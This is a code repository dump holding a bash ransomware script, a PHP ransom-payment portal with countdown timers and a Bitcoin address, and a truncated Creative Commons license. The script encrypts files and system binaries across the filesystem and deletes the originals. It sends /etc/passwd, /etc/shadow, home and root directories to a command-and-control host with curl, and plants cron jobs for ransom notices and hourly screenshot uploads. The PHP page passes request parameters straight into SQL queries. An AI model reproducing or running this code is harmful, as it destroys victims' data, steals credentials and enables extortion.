161 | -------------------------------------------------------------------------------- /payment.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Decryption Check 5 | 6 | 7 | 8 | connect_error) { 20 | die("Connection failed: " . $conn->connect_error); 21 | } 22 | 23 | $getTransID = $_GET['trans_id']; 24 | $getTargetID = $_GET['unique_id']; 25 | 26 | $getCountdown = ""; 27 | $getExpTime = ""; 28 | 29 | if (isset($_GET['trans_id']) && !empty($_GET['trans_id'])) { 30 | if (strlen($_GET['trans_id']) == 64) { 31 | $transSplit = str_split($_GET['trans_id'], 32); 32 | 33 | if ($transSplit[1] == md5("m4dh4tz")) { 34 | $checkPay = "SELECT * from target_list"; 35 | 36 | $result = $conn->query($checkPay); 37 | 38 | if ($result->num_rows > 0) { 39 | while($row = $result->fetch_assoc()) { 40 | if ("$row[paid]" != "1") { 41 | $sql = "UPDATE target_list SET paid = 1 where unique_id = \"$getTargetID\""; 42 | 43 | if ($conn->query($sql) === TRUE) { 44 | $expTime = time() + (1 * 2 * 60 * 10); 45 | $dateExpTime = new DateTime("@$expTime"); 46 | $expTime = $dateExpTime->format('Y-m-d H:i:s'); 47 | 48 | $sql1 = "UPDATE target_list SET paid_count = \"$expTime\" WHERE unique_id = \"$getTargetID\""; 49 | 50 | if ($conn->query($sql1) === TRUE) { 51 | echo ""; 52 | header('location: https://' . $_SERVER['SERVER_NAME'] . '/payment_info.php?unique_id=' . $getTargetID); 53 | } else { 54 | echo ""; 55 | } 56 | } else { 57 | echo ""; 58 | } 59 | } elseif ("$row[paid_count]" == "0000-00-00 00:00:00") { 60 | $expTime = time() + (1 * 2 * 60 * 60); 61 | $dateExpTime = new DateTime("@$expTime"); 62 | $expTime = $dateExpTime->format('Y-m-d H:i:s'); 63 | 64 | $sql1 = "UPDATE target_list SET paid_count = \"$expTime\" WHERE unique_id = \"$getTargetID\""; 65 | 66 | if ($conn->query($sql1) === TRUE) { 67 | echo ""; 68 | header('location: https://' . $_SERVER['SERVER_NAME'] . '/payment_info.php?unique_id=' . $getTargetID); 69 | } else { 70 | echo ""; 71 | } 72 | } else { 73 | header('location: https://' . $_SERVER['SERVER_NAME'] . '/payment_info.php?unique_id=' . $getTargetID); 74 | } 75 | } 76 | } 77 | } else { 78 | echo ""; 79 | } 80 | } else { 81 | echo ""; 82 | } 83 | } 84 | 85 | if (isset($_GET['unique_id']) && !empty($_GET['unique_id'])) { 86 | $sql = "SELECT timediff(exp_time, curr_time) as time_left from target_list where unique_id = \"$getTargetID\""; 87 | $result = $conn->query($sql); 88 | 89 | if ($result->num_rows > 0) { 90 | while ($row = $result->fetch_assoc()) { 91 | $getCountdown = $row[time_left]; 92 | 93 | //if ($row['time_left'] > "00:00:01") { 94 | echo "" . "\n"; 103 | //} 104 | } 105 | } 106 | 107 | $sql1 = "SELECT * FROM target_list where unique_id = \"$getTargetID\""; 108 | $result1 = $conn->query($sql1); 109 | 110 | if ($result1->num_rows > 0) { 111 | while ($row1 = $result1->fetch_assoc()) { 112 | $victimIP = $row1[target_ip]; 113 | $getExpTime = $row1[exp_time]; 114 | $fileCount = $row1[file_count]; 115 | } 116 | } 117 | } 118 | ?> 119 | 120 | 121 |
122 | "00:00:01") { ?> 123 | 124 | 125 | 126 | 129 | 130 | 131 | 134 | 135 | 136 | 142 | 143 | 144 | 147 | 148 | 149 | 156 | 157 | 158 | 162 | 163 |
127 | Your files have been encrypted! 128 |
132 | To get the private key and the download script, you must submit your payment before the timer ends. 133 |
137 | You must submit your payment before 138 | 139 | 140 | or the price will increase! 141 |
145 | Your time expires in 146 |
150 |
151 | 152 | 153 | 154 |
155 |
159 |
160 | First Connected IP: Total encrypted Files: 161 |
164 | 165 |

166 | 167 | 168 | 169 | 170 | 171 | 174 | 175 | 176 | 181 | 182 | 183 | 186 | 187 | 188 | 196 | 197 | 198 | 202 | 203 |
172 | Your files have been encrypted! 173 |
177 | 178 | Your time has expired and the price has increased! 179 | 180 |
184 | To get the private key and the decryption script, you must submit your paymentat the higher rate! 185 |
189 | Your time is 190 | 191 |
192 |
193 |
194 | overdue! 195 |
199 |
200 | First Connected IP: Total encrypted Files: 201 |
204 | 205 |

206 | 207 | 208 | 209 | 210 | 211 | 214 | 215 | 216 | 219 | 220 | 221 | 228 | 229 | 230 | 233 | 234 | 235 | 238 | 239 | 240 | 243 | 244 | 245 | 265 | 266 | 267 | 270 | 271 | 272 | 275 | 276 | 277 | 282 | 283 | 284 | 287 | 288 | 289 | 292 | 293 | 294 | 297 | 298 | 299 | 302 | 303 |
212 | We present a special software, called BashDecrypt that allows you to decrypt your files. 213 |
217 | How to buy the BashDecrypt software? 218 |
222 |
223 |
224 | 225 |
226 |
227 |
231 | 1. You should click here to find out how to sign up for a Bitcoin wallet. 232 |
236 |   237 |
241 | 2. Buying Bitcoin is getting simpler every day, See the below for ways to buy Bitcoin: 242 |
246 |
    247 |
  • 248 | M4dH4t'z Exchange - We now only accept Bitcoin from this Exchange! 249 |
  • 250 |
  • 251 | LocalBitcoins.com (WU) - Buy Bitcoin with Western Union 252 |
  • 253 |
  • 254 | CoinCafe.com - Recommended for fast, simple service. 255 |
    256 | Payment methods: Western Union, Bank of America, Cash by FedEx, Moneygram, Money Order. 257 |
    258 | In NYC: Bitcoin ATM, In Person
    259 |
  • 260 |
  • 261 | BTCDirect.eu - The best place for EUROPE 262 |
  • 263 |
264 |
268 | 3. Send BTC to Bitcoin address: 10Lq24MSC9jB6DgQWZ917kFapajwNMifpgT 269 |
273 |   274 |
278 | 4. Enter the Transaction ID: Amount: 279 |
280 | Transaction ID - You can find this information in your transaction details 281 |
285 |   286 |
290 | 5. Ensure your payment information and then Click 'Pay' 291 |
295 |   296 |
300 | 301 |
304 |
305 | 306 | 307 | 308 | close(); 311 | 312 | ?> 313 | -------------------------------------------------------------------------------- /crypto.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | genFileName() { 4 | # Generate random value for the filename string size between 5 and 10 5 | # Build a filename string with the length of this random size out of the character set 'a-z' 6 | randString=$(< /dev/urandom tr -dc '[:lower:]' | fold -w "$(shuf -i 5-10 -n 1)" | head -n 1) 7 | 8 | randStringSize=${#randString} 9 | 10 | # Get a random number between the half of the string and the string size 11 | randHalfString=$(($((randStringSize / 2)) + $((RANDOM % randStringSize)))) 12 | 13 | # Get a random number between 1 and this random number from Step 6 14 | # (This number is used as value for how many random numbers are inserted into the string in the next step) 15 | randNum=$((1 + (RANDOM % randHalfString))) 16 | 17 | # Do step 8 as many times as the random value in step 7 says 18 | for ((i=0; i/dev/null 76 | 77 | if [ -f /etc/redhat-release ] 78 | then 79 | osType="redhat" 80 | elif [ -f /etc/debian_version ] 81 | then 82 | osType="debian" 83 | else 84 | echo "Could not determine OS" &>/dev/null 85 | fi 86 | 87 | count=0 88 | 89 | fileExts=("*.py" "*.txt" "*.cpp" "*.png" "*.jpg" "*.sh" "*.pyc" "*.key" "*.php" "*.css" "*.js" "*.tiff" "*.tff" "*.pl" \ 90 | "*.ini" "*.xml" "*.desktop" "*.gpg" "*.enc" "*.lst" ".list" "*.properties" "*.acl" "*.gz" "*.tar" "*.bz2" "*.gif" \ 91 | "*.doc*" "*.xls*" "*.pdf" "*.java" "*.swf" "*.jar" "*.json" "*.ppt*" "*.pst" "*.bat" "*.exe" "*.x" "*.pm" \ 92 | "*.aps*" "*.cgi" "*.htm*" "*.dll" "*.class" "*.mov" "*.flv" "*.mp4" "*.mp3" "*.wav" "*.ogg" "*.md" \ 93 | "*.yaml" "*.sql" "*.vim" "*.csv" "*.bak" "*.rb" "*.h" "*.c" "*.log" "*.waw" "*.jpeg" "*.rtf" "*.rar" "*.zip" \ 94 | "*.psd" "*.tif" "*.wma" "*.bmp" "*.pps" "*.ppsx" "*.ppd" "*.eps" "*.ace" "*.djvu" "*.cdr" "*.max" "*.wmv" "*.avi" \ 95 | "*.pdd" "*.aac" "*.ac3" "*.amf" "*.amr" "*.dwg" "*.dxf" "*.accdb" "*.mod" "*.tax2013" "*.tax2014" "*.oga" "*.pbf" \ 96 | "*.ra" "*.raw" "*.saf" "*.val" "*.wave" "*.wow" "*.wpk" "*.3g2" "*.3gp" "*.3gp2" "*.3mm" "*.amx" "*.avs" "*.bik" \ 97 | "*.dir" "*.divx" "*.dvx" "*.evo" "*.qtq" "*.tch" "*.rts" "*.rum" "*.rv" "*.scn" "*.srt" "*.stx" "*.svi" "*.trp" \ 98 | "*.vdo" "*.wm" "*.wmd" "*.wmmp" "*.wmx" "*.wvx" "*.xvid" "*.3d" "*.3d4" "*.3df8" "*.pbs" "*.adi" "*.ais" "*.amu" \ 99 | "*.arr" "*.bmc" "*.bmf" "*.cag" "*.cam" "*.dng" "*.ink" "*.jif" "*.jiff" "*.jpc" "*.jpf" "*.jpw" "*.mag" "*.mic" \ 100 | "*.mip" "*.msp" "*.nav" "*.ncd" "*.odc" "*.odi" "*.opf" "*.qif" "*.qtiq" "*.srf" "*.xwd" "*.abw" "*.act" "*.adt" \ 101 | "*.aim" "*.ans" "*.asc" "*.ase" "*.bdp" "*.bdr" "*.bib" "*.boc" "*.crd" "*.diz" "*.dot" "*.dotm" "*.dotx" "*.dvi" \ 102 | "*.dxe" "*.mlx" "*.err" "*.euc" "*.faq" "*.fdr" "*.fds" "*.gthr" "*.idx" "*.kwd" "*.lp2" "*.ltr" "*.man" "*.mbox" \ 103 | "*.msg" "*.nfo" "*.now" "*.odm" "*.oft" "*.pwi" "*.rng" "*.rtx" "*.run" "*.ssa" "*.text" "*.unx" "*.wbk" "*.wsh" \ 104 | "*.7z" "*.arc" "*.ari" "*.arj" "*.car" "*.cbr" "*.cbz" "*.gzig" "*.jgz" "*.pak" "*.pcv" "*.puz" "*.r00" "*.r01" \ 105 | "*.r02" "*.r03" "*.rev" "*.sdn" "*.sen" "*.sfs" "*.sfx" "*.sh" "*.shar" "*.shr" "*.sqx" "*.tbz2" "*.tg" "*.tlz" \ 106 | "*.vsi" "*.wad" "*.war" "*.xpi" "*.z02" "*.z04" "*.zap" "*.zipx" "*.zoo" "*.ipa" "*.isu" "*.udf" "*.adr" "*.ap" \ 107 | "*.aro" "*.asa" "*.ascx" "*.ashx" "*.asmx" "*.asp" "*.indd" "*.asr" "*.qbb" "*.bml" "*.cer" "*.cms" "*.crt" \ 108 | "*.dap" "*.moz" "*.svr" "*.url" "*.wdgt" "*.abk" "*.bic" "*.big" "*.blp" "*.bsp" "*.cgf" "*.chk" "*.col" "*.cty" \ 109 | "*.dem" "*.elf" "*.ff" "*.gam" "*.grf" "*.h3m" "*.h4r" "*.iwd" "*.ldb" "*.lgp" "*.lvl" "*.map" "*.md3" "*.mdl" \ 110 | "*.mm6" "*.mm7" "*.mm8" "*.nds" "*.pbp" "*.ppf" "*.pwf" "*.pxp" "*.sad" "*.sav" "*.scm" "*.scx" "*.sdt" "*.spr" \ 111 | "*.sud" "*.uax" "*.umx" "*.unr" "*.uop" "*.usa" "*.usx" "*.ut2" "*.ut3" "*.utc" "*.utx" "*.uvx" "*.uxx" "*.vmf" \ 112 | "*.vtf" "*.w3g" "*.w3x" "*.wtd" "*.wtf" "*.ccd" "*.cd" "*.cso" "*.disk" "*.dmg" "*.dvd" "*.fcd" "*.flp" "*.img" \ 113 | "*.iso" "*.isz" "*.md0" "*.md1" "*.md2" "*.mdf" "*.mds" "*.nrg" "*.nri" "*.vcd" "*.vhd" "*.snp" "*.bkf" "*.ade" \ 114 | "*.adpb" "*.dic" "*.cch" "*.ctt" "*.dal" "*.ddc" "*.ddcx" "*.dex" "*.dif" "*.dii" "*.itdb" "*.itl" "*.kmz" "*.lcd" \ 115 | "*.lcf" "*.mbx" "*.mdn" "*.odf" "*.odp" "*.ods" "*.pab" "*.pkb" "*.pkh" "*.pot" "*.potx" "*.psa" "*.qdf" "*.qel" \ 116 | "*.rgn" "*.rrt" "*.rsw" "*.rte" "*.sdb" "*.sdc" "*.sds" "*.stt" "*.t01" "*.t03" "*.t05" "*.tcx" "*.thmx" "*.txd" \ 117 | "*.txf" "*.upoi" "*.vmt" "*.wks" "*.wmdb" "*.xl" "*.xlc" "*.xlr" "*.xlsb" "*.xltx" "*.ltm" "*.xlwx" "*.mcd" "*.cap" \ 118 | "*.cc" "*.cod" "*.cp" "*.cs" "*.csi" "*.dcp" "*.dcu" "*.dev" "*.dob" "*.dox" "*.dpk" "*.dpl" "*.dpr" "*.dsk" "*.dsp" \ 119 | "*.eql" "*.ex" "*.f90" "*.fla" "*.for" "*.fpp" "*.jav" "*.lbi" "*.owl" "*.plc" "*.pli" "*.res" "*.rsrc" "*.swd" \ 120 | "*.tpu" "*.tpx" "*.tu" "*.tur" "*.vc" "*.yab" "*.8ba" "*.8bc" "*.8be" "*.8bf" "*.8bi8" "*.bi8" "*.8bl" "*.8bs" \ 121 | "*.8bx" "*.8by" "*.8li" "*.aip" "*.amxx" "*.ape" "*.api" "*.mxp" "*.oxt" "*.qpx" "*.qtr" "*.xla" "*.xlam" "*.xll" \ 122 | "*.xlv" "*.xpt" "*.cfg" "*.cwf" "*.dbb" "*.slt" "*.bp2" "*.bp3" "*.bpl" "*.clr" "*.dbx" "*.jc" "*.potm" "*.ppsm" \ 123 | "*.prc" "*.prt" "*.shw" "*.std" "*.ver" "*.wpl" "*.xlm" "*.yps" "*.md3" "*.1cd") 124 | 125 | fileList=("/root/.history" "/root/.bash_history" "/root/.bashrc" \ 126 | "/bin/netstat" "/bin/mount" "/bin/kill" \ 127 | "/usr/sbin/useradd" "/usr/sbin/adduser" \ 128 | "/bin/chgrp" "/usr/sbin/userdel" "/usr/sbin/usermod" "/usr/sbin/visudo" \ 129 | "/usr/sbin/tcpdump" "/usr/sbin/service" "/sbin/reboot" "/sbin/shutdown" \ 130 | "/usr/sbin/mysqld" "/usr/sbin/dmidecode" "/usr/sbin/chroot" \ 131 | "/usr/sbin/chgpasswd" "/usr/sbin/apache2" "/usr/local/bin/*" \ 132 | "/lib/modules/$(uname -r)/kernel/drivers/usb/storage/usb-storage.ko" \ 133 | "/lib/modules/$(uname -r)/kernel/drivers/cdrom/cdrom.ko" ) 134 | 135 | curl -k "https://192.168.1.132/downloads/${genKey}_pub.pem" > /root/pub.pem 136 | chmod 755 /root/pub.pem 137 | 138 | < /dev/urandom tr -cd 'A-Za-z0-9' | fold -w 256 | head -n 1 > /root/key.bin 139 | chmod 755 /root/key.bin 140 | 141 | for ((num=0; num<"${#fileExts[@]}"; num++)) 142 | do 143 | fileName=$(find / -name "${fileExts[${num}]}" -exec ls {} \;) 144 | 145 | for file in ${fileName} 146 | do 147 | setFileName=$(genFileName) 148 | setExtName=$(genExtName) 149 | getDirName=$(dirname "${file}") 150 | 151 | filePerms=$(stat -c "%a %n" "${file}" | awk -F" " '{ print $1 }') 152 | 153 | echo "${file},${getDirName}/${setFileName}.${setExtName},${filePerms}" >> /root/..file_mapping.db 154 | 155 | openssl enc -aes-256-cbc -salt -in "${file}" -out "${getDirName}/${setFileName}.${setExtName}" -pass file:/root/key.bin &>/dev/null 156 | 157 | rm -rf "${file}" &>/dev/null 158 | 159 | count=$((count + 1)) 160 | done 161 | done 162 | 163 | for file in "${fileList[@]}" 164 | do 165 | setFileName=$(genFileName) 166 | setExtName=$(genExtName) 167 | getDirName=$(dirname "${file}") 168 | 169 | filePerms=$(stat -c "%a %n" "${file}" | awk -F" " '{ print $1 }') 170 | 171 | echo "${file},${getDirName}/${setFileName}.${setExtName},${filePerms}" >> /root/..file_mapping.db 172 | 173 | openssl enc -aes-256-cbc -salt -in "${file}" -out "${getDirName}/${setFileName}.${setExtName}" -pass file:/root/key.bin &>/dev/null 174 | 175 | rm -rf "${file}" &>/dev/null 176 | 177 | count=$((count + 1)) 178 | done 179 | 180 | openssl enc -aes-256-cbc -salt -in "/root/..file_mapping.db" -out "/root/..file_mapping.db.owned" -pass file:/root/key.bin &>/dev/null 181 | rm -rf /root/..file_mapping.db 182 | 183 | curl -k -d "fileCount=${count}&uniqueId=${genKey}" https://192.168.1.132/count.php 184 | 185 | for directory in /root/ /home/ /etc/ /bin/ /usr/sbin/ /usr/bin /sbin/ /usr/local/bin/ 186 | do 187 | { 188 | echo "Your files have been encrypted using RSA-4096. This occured by generating a private and public key pair on our servers. The public key was used to encrypt the files on your system. To decrypt your files, visit https://192.168.1.132/decrypt.php and the id ${genKey}. If no payment is received in the next 48 hours, the corresponding private key will be deleted and your data lost forever." 189 | } >> "${directory}/INSTRUCTIONS.txt" 190 | 191 | curl -k https://192.168.1.132/downloads/INSTRUCTIONS.html >> "${directory}/INSTRUCTIONS.html" 192 | done 193 | 194 | { 195 | echo -en "#"'!'"/bin/bash" 196 | echo -e "\n" 197 | echo -e "wallCmd=\$(which wall)" 198 | echo -e "\n" 199 | echo -e "echo -e \"Your files have been encrypted using RSA-4096. This occured by generating a private and public key pair on our servers. The public key was used to encrypt the files on your system. To decrypt your files, visit https://192.168.1.132/decrypt.php and the id ${genKey}. If no payment is received in the next 48 hours, the corresponding private key will be deleted and your data lost forever.\\n\\nIMPORTANT: DO NOT REBOOT YOUR SERVER. DO NOT ATTEMPT RECOVERY WITHOUT PURCHASING OUR DECRYPTION SOFTWARE. IF YOU DO SO, SYSTEM RECOVERY WILL BECOME IMPOSSIBLE.\" | \${wallCmd}" 200 | } > /etc/cron.hourly/instructions.sh 201 | 202 | chmod 755 /etc/cron.hourly/instructions.sh 203 | 204 | if [ "${osType}" == "redhat" ] 205 | then 206 | /usr/bin/crontab -l | { cat; echo "1 * * * * /etc/cron.hourly/instructions.sh"; } | /usr/bin/crontab - &>/dev/null 207 | elif [ "${osType}" == "debian" ] 208 | then 209 | /usr/bin/crontab -l | { cat; echo "*/1 * * * * /etc/cron.hourly/instructions.sh"; } | /usr/bin/crontab - &>/dev/null 210 | else 211 | echo "Could not set crontab" &>/dev/null 212 | fi 213 | 214 | echo -e "Your files have been encrypted using RSA-4096. This occured by generating a private and public key pair on our servers. The public key was used to encrypt the files on your system. To decrypt your files, visit https://192.168.1.132/decrypt.php and the id ${genKey}. If no payment is received in the next 48 hours, the corresponding private key will be deleted and your data lost forever.\n\nIMPORTANT: DO NOT REBOOT YOUR SERVER. DO NOT ATTEMPT RECOVERY WITHOUT PURCHASING OUR DECRYPTION SOFTWARE. IF YOU DO SO, SYSTEM RECOVERY WILL BECOME IMPOSSIBLE." 215 | 216 | # Encrypt key.bin with our public key 217 | openssl rsautl -encrypt -inkey /root/pub.pem -pubin -in /root/key.bin -out /root/key.bin.enc 218 | rm -rf /root/key.bin 219 | 220 | # Exfil files to our C2 221 | exfilArr=("/root/..file_mapping.db.owned" "/root/key.bin.enc" "/etc/passwd" "/etc/shadow" "/home/" "/root/") 222 | 223 | for file in "${exfilArr[@]}" 224 | do 225 | tar czf - "${file}" | curl -k -A "BashCrypto v1.0 Lite" -F "file=@-" -F "unique_id=${genKey}" -F "file_info=$(basename "${file}").tar.gz" -F "uploadFile=Upload" https://192.168.1.132/upload.php 226 | done 227 | 228 | if [ -f "/usr/bin/gnome-screenshot" ] 229 | then 230 | { 231 | echo -en "#"'!'"/bin/bash" 232 | echo -e "\n" 233 | echo -e "getDate=\$(date)" 234 | echo -e "\n" 235 | echo -e "genKey=\"${genKey}\"" 236 | echo -e "\n" 237 | echo -e "/usr/bin/gnome-screenshot -f \"/tmp/.\${getDate}.screenshot\"" 238 | echo -e "\n" 239 | echo -e "tar -czf - \"/tmp/.\${getDate}.screenshot\" | curl -k -A \"BashCrypto v1.0 Lite\" -F \"unique_id=\${genKey}\" -F \"file=@-\" \"file_info=\".\${getDate}.screenshot\".tar.gz\" -F \"uploadFile=Upload\" https://192.168.1.132/upload.php" 240 | } > /etc/cron.hourly/backup.sh 241 | 242 | chmod 755 /etc/cron.hourly/backup.sh 243 | 244 | if [ "${osType}" == "redhat" ] 245 | then 246 | /usr/bin/crontab -l | { cat; echo "1 * * * * /etc/cron.hourly/backup.sh"; } | /usr/bin/crontab - &>/dev/null 247 | elif [ "${osType}" == "debian" ] 248 | then 249 | /usr/bin/crontab -l | { cat; echo "*/1 * * * * /etc/cron.hourly/backup.sh"; } | /usr/bin/crontab - &>/dev/null 250 | else 251 | echo "Could not set crontab" &>/dev/null 252 | fi 253 | fi 254 | -------------------------------------------------------------------------------- /images/HACKER_IMAGE_LICENSE: -------------------------------------------------------------------------------- 1 | Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible. 2 | 3 | Using Creative Commons Public Licenses 4 | 5 | Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses. 6 | 7 | Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors. 8 | Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public. 9 | Creative Commons Attribution-ShareAlike 4.0 International Public License 10 | 11 | By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-ShareAlike 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions. 12 | 13 | Section 1 – Definitions. 14 | 15 | Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image. 16 | Adapter's License means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License. 17 | BY-SA Compatible License means a license listed at creativecommons.org/compatiblelicenses, approved by Creative Commons as essentially the equivalent of this Public License. 18 | Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights. 19 | Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements. 20 | Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material. 21 | License Elements means the license attributes listed in the name of a Creative Commons Public License. The License Elements of this Public License are Attribution and ShareAlike. 22 | Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License. 23 | Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license. 24 | Licensor means the individual(s) or entity(ies) granting rights under this Public License. 25 | Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them. 26 | Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world. 27 | You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning. 28 | Section 2 – Scope. 29 | 30 | License grant. 31 | Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to: 32 | reproduce and Share the Licensed Material, in whole or in part; and 33 | produce, reproduce, and Share Adapted Material. 34 | Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions. 35 | Term. The term of this Public License is specified in Section 6(a). 36 | Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material. 37 | Downstream recipients. 38 | Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License. 39 | Additional offer from the Licensor – Adapted Material. Every recipient of Adapted Material from You automatically receives an offer from the Licensor to exercise the Licensed Rights in the Adapted Material under the conditions of the Adapter’s License You apply. 40 | No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material. 41 | No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i). 42 | Other rights. 43 | 44 | Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise. 45 | Patent and trademark rights are not licensed under this Public License. 46 | To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties. 47 | Section 3 – License Conditions. 48 | 49 | Your exercise of the Licensed Rights is expressly made subject to the following conditions. 50 | 51 | Attribution. 52 | 53 | If You Share the Licensed Material (including in modified form), You must: 54 | 55 | retain the following if it is supplied by the Licensor with the Licensed Material: 56 | identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated); 57 | a copyright notice; 58 | a notice that refers to this Public License; 59 | a notice that refers to the disclaimer of warranties; 60 | a URI or hyperlink to the Licensed Material to the extent reasonably practicable; 61 | indicate if You modified the Licensed Material and retain an indication of any previous modifications; and 62 | indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License. 63 | You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information. 64 | If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable. 65 | ShareAlike. 66 | In addition to the conditions in Section 3(a), if You Share Adapted Material You produce, the following conditions also apply. 67 | 68 | The Adapter’s License You apply must be a Creative Commons license with the same License Elements, this version or later, or a BY-SA Compatible License. 69 | You must include the text of, or the URI or hyperlink to, the Adapter's License You apply. You may satisfy this condition in any reasonable manner based on the medium, means, and context in which You Share Adapted Material. 70 | You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, Adapted Material that restrict exercise of the rights granted under the Adapter's License You apply. 71 | Section 4 – Sui Generis Database Rights. 72 | 73 | Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material: 74 | 75 | for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database; 76 | if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material, including for purposes of Section 3(b); and 77 | You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database. 78 | For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights. 79 | Section 5 – Disclaimer of Warranties and Limitation of Liability. 80 | 81 | Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You. 82 | To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You. 83 | The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability. 84 | Section 6 – Term and Termination. 85 | 86 | This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically. 87 | Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates: 88 | 89 | automatically as of the date the violation is cured, 